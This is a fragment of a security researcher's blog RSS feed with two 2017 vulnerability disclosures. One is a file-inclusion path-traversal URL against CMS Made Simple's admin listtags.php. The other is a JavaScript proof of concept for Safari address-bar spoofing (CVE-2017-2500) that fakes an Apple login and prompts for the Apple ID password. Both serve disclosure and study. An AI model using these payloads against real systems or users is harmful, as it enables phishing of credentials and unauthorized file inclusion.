      <category domain="https://we5ter.github.io/tags/CVEs-Disclosure/">CVEs Disclosure</category>
      <pubDate>Mon, 22 May 2017 11:00:41 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description:"></a>Description:</h2><p>The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.</p><h2 id="Proof-of-concept"><a href="#Proof-of-concept" class="headerlink" title="Proof of concept"></a>Proof of concept</h2><p>cmsmadesimple &lt;&#x3D;2.1.6<br>The vulnerability exists in &#x2F;cmsms&#x2F;admin&#x2F;listtags.php Line 82 and line 54</p><p><img src="/images/posts/cms-vuln-code.png" alt="CMSMadeSimple Vulnerability Code"><br><img src="/images/posts/cms-listtags.png" alt="CMSMadeSimple listtags.php"></p><p>If there is a file named “1.phpinfo.php” existed in <a href="http://127.0.0.1/1.phpinfo.php">http://127.0.0.1/1.phpinfo.php</a><br>So when we visit the following link:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/cmsms/admin/listtags.php?_sk_=08852e62af02bc03&amp;action=showpluginhelp&amp;plugin=phpinfo&amp;type=../../1</span><br></pre></td></tr></table></figure><p>You would find out you has include this file successfully!‌</p><p><img src="/images/posts/cms-file-inclusion.png" alt="File Inclusion Successful"></p><ul><li>cmsmadesimple &lt;&#x3D;2.2.1</li></ul><p>Current version is still vulnerable.</p><p><img src="/images/posts/cms-version-check.png" alt="CMSMadeSimple Version Check"></p><p>Disclosure Timelines</p><ul><li>2017&#x2F;2&#x2F;7 Provide vulnerability(2.1.6) detail to vendor but no reply</li><li>2017&#x2F;6&#x2F;16 cmsmadesimple update to 2.2.1 and no reply at all</li><li>2017&#x2F;6&#x2F;28 Public disclosure</li></ul>]]>
      </content:encoded>
    </item>
    <item>
      <title>(CVE-2017-2500)Address bar spoofing on macOS Safari</title>
      <link>https://we5ter.github.io/blogs/cve-2017-2500/</link>
      <description>
        <![CDATA[<h2 id="Affected-Products"><a href="#Affected-Products" class="headerlink" title="Affected Products"></a>Affected Products</h2><p>Safari &lt;10.1.1 on macOS</p>
<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><p>When we input an URL including a]]>
      </description>
      <author>Wester</author>
      <category domain="https://we5ter.github.io/tags/Browser-Security/">Browser Security</category>
      <pubDate>Sat, 25 Feb 2017 11:00:41 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="Affected-Products"><a href="#Affected-Products" class="headerlink" title="Affected Products"></a>Affected Products</h2><p>Safari &lt;10.1.1 on macOS</p><h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><p>When we input an URL including a special port or visit a domain which exists in DNS record but cannot access anymore (such as “<a href="http://www.apple.com:1234/">http://www.apple.com:1234</a>“ or “<a href="http://access.apple.com/">http://access.apple.com</a>“), Safari will try its best to load this address, so address bar spoofing could occur during the loading time!</p><p>Proof of concept</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;</span><br><span class="line">function spoof()&#123;</span><br><span class="line"></span><br><span class="line">document.write(&quot;&lt;title&gt;Apple login&lt;/title&gt;&lt;h1&gt;Trust me!This is apple.com!&lt;/h1&gt;&quot;);</span><br><span class="line"></span><br><span class="line">window.location.assign(&quot;http://www.apple.com:1234&quot;);</span><br><span class="line">//or you can use the following script:</span><br><span class="line">//window.location.assign(&quot;http://access.apple.com&quot;);</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line">setInterval(spoof(),2000);</span><br><span class="line">setTimeout(function()&#123;</span><br><span class="line">    prompt(&#x27;Checking your appid password:&#x27;);</span><br><span class="line">&#125;,6000);</span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure><p><img src="/images/posts/safari-spoofing-poc.png" alt="Safari Address Bar Spoofing PoC"></p><h2 id="Disclosure-Timelines"><a href="#Disclosure-Timelines" class="headerlink" title="Disclosure Timelines"></a>Disclosure Timelines</h2><p>2017&#x2F;2&#x2F;7 Provide vulnerability detail to APPLE via <a href="mailto:&#x70;&#x72;&#x6f;&#x64;&#x75;&#99;&#116;&#45;&#x73;&#101;&#99;&#117;&#114;&#105;&#116;&#121;&#x40;&#97;&#112;&#x70;&#x6c;&#101;&#x2e;&#x63;&#111;&#109;">product-security@apple.com</a><br>2017&#x2F;4&#x2F;26 Apple fix it in Safari 10.1.1<br>2017&#x2F;5&#x2F;12 CVE-2017-2500 assigned.</p><h2 id="Credit"><a href="#Credit" class="headerlink" title="Credit"></a>Credit</h2><p>This vulnerability was discovered by Zhiyang Zeng and Yuyang Zhou of Tencent Security Platform Department.</p>]]>
      </content:encoded>
    </item>
  </channel>
</rss>
